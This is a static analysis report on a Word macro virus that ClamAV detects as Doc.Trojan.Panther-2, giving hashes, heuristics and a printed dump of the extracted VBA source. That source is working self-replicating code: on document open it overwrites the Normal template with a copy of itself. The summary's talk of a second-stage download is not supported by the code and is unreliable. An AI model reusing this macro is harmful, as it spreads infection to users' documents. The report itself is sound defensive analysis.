Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 58cc2bf6debd403c…

MALICIOUS

Office (OLE)

33.0 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 4c117366c9d45f1599dc87503db80d1c SHA-1: df7b8fc1bcbc767412431067669761da39360d98 SHA-256: 58cc2bf6debd403cac0caed8b261cc86c2345d45384b0d6ff52a984f4705b6b3
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that is triggered by the Document_Open event. This macro appears to be designed to obfuscate its actions and potentially download a second-stage payload, as indicated by the ClamAV detection 'Doc.Trojan.Panther-2'. The macro's logic involves replacing template strings, suggesting an attempt to modify or inject code. The presence of the Document_Open macro and the ClamAV detection strongly suggest a malicious intent, likely delivered as a spearphishing attachment.

Heuristics 3

  • ClamAV: Doc.Trojan.Panther-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Panther-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4569 bytes
SHA-256: 9d332eb48699bf83f3a4043fa7f23ffc7a649ef57c3bd19deb31634df30667ae
Detection
ClamAV: Doc.Trojan.Panther-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim code As String
    If Left$(NormalTemplate.Name, 8) <> "Document" Then
        Options.VirusProtection = True
        With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
            code = .Lines(1, .CountOfLines)
            ReplaceTemplate code, "Normal", "Template", "Happy", "Panther"
            ReplaceTemplate code, "Active", "Document", "Normal", "Template"
            ReplaceTemplate code, "Happy", "Panther", "Active", "Document"
            With NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
                .DeleteLines 1, .CountOfLines
                .AddFromString code
            End With
        End With
        Options.SaveNormalPrompt = False
        If InStr("NormalTemplate", "Document") > 0 Then
        End If
    End If
End Sub
Private Sub ReplaceTemplate(target As String, prepre As String, prepost As String, postpre As String, postpost As String)
    Dim index As Long, pre As String, post As String, preLen As Long
    
    pre = prepre + prepost
    post = postpre + postpost
    
    index = 1
    preLen = Len(pre)
    
    While InStr(index, target, pre) <> 0
        index = InStr(index, target, pre)
        target = Left(target, index - 1) + post + Mid$(target, index + preLen)
        index = index + 1
    Wend
End Sub

' Processing file: /opt/analyzer/scan_staging/efb9649e160f4cd5ae64cfff2fa1c970.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3025 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	Dim 
' 	VarDefn code (As String)
' Line #2:
' 	Ld NormalTemplate 
' 	MemLd New 
' 	LitDI2 0x0008 
' 	ArgsLd LBound$ 0x0002 
' 	LitStr 0x0008 "Document"
' 	Ne 
' 	IfBlock 
' Line #3:
' 	LitVarSpecial (True)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #4:
' 	StartWithExpr 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	With 
' Line #5:
' 	LitDI2 0x0001 
' 	MemLdWith CountOfLines 
' 	ArgsMemLdWith Lines 0x0002 
' 	St code 
' Line #6:
' 	Ld code 
' 	LitStr 0x0006 "Normal"
' 	LitStr 0x0008 "Template"
' 	LitStr 0x0005 "Happy"
' 	LitStr 0x0007 "Panther"
' 	ArgsCall ReplaceTemplate 0x0005 
' Line #7:
' 	Ld code 
' 	LitStr 0x0006 "Active"
' 	LitStr 0x0008 "Document"
' 	LitStr 0x0006 "Normal"
' 	LitStr 0x0008 "Template"
' 	ArgsCall ReplaceTemplate 0x0005 
' Line #8:
' 	Ld code 
' 	LitStr 0x0005 "Happy"
' 	LitStr 0x0007 "Panther"
' 	LitStr 0x0006 "Active"
' 	LitStr 0x0008 "Document"
' 	ArgsCall ReplaceTemplate 0x0005 
' Line #9:
' 	StartWithExpr 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	With 
' Line #10:
' 	LitDI2 0x0001 
' 	MemLdWith CountOfLines 
' 	ArgsMemCallWith DeleteLines 0x0002 
' Line #11:
' 	Ld code 
' 	ArgsMemCallWith AddFromString 0x0001 
' Line #12:
' 	EndWith 
' Line #13:
' 	EndWith 
' Line #14:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #15:
' 	LitStr 0x000E "NormalTemplate"
' 	LitStr 0x0008 "Document"
' 	FnInStr 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #16:
' 	EndIfBlock 
' Line #17:
' 	EndIfBlock 
' Line #18:
' 	EndSub 
' Line #19:
' 	FuncDefn (Private Sub ReplaceTemplate(target As String, prepre As String, prepost As String, postpre As String, postpost As String))
' Line #20:
' 	Dim 
' 	VarDefn index (As Long)
' 	VarDefn pre (As String)
' 	VarDefn post (As String)
' 	VarDefn preLen (As Long)
' Line #21:
' Line #22:
' 	Ld prepre 
' 	Ld prepost 
' 	Add 
' 	St pre 
' Line #23:
' 	Ld postpre 
' 	Ld postpost 
' 	Add 
' 	St post 
' Line #24:
' Line #25:
' 	LitDI2 0x0001 
' 	St index 
' Line #26:
' 	Ld pre 
' 	FnLen 
' 	St preLen 
' Line #27:
' Line #28:
' 	
... (truncated)

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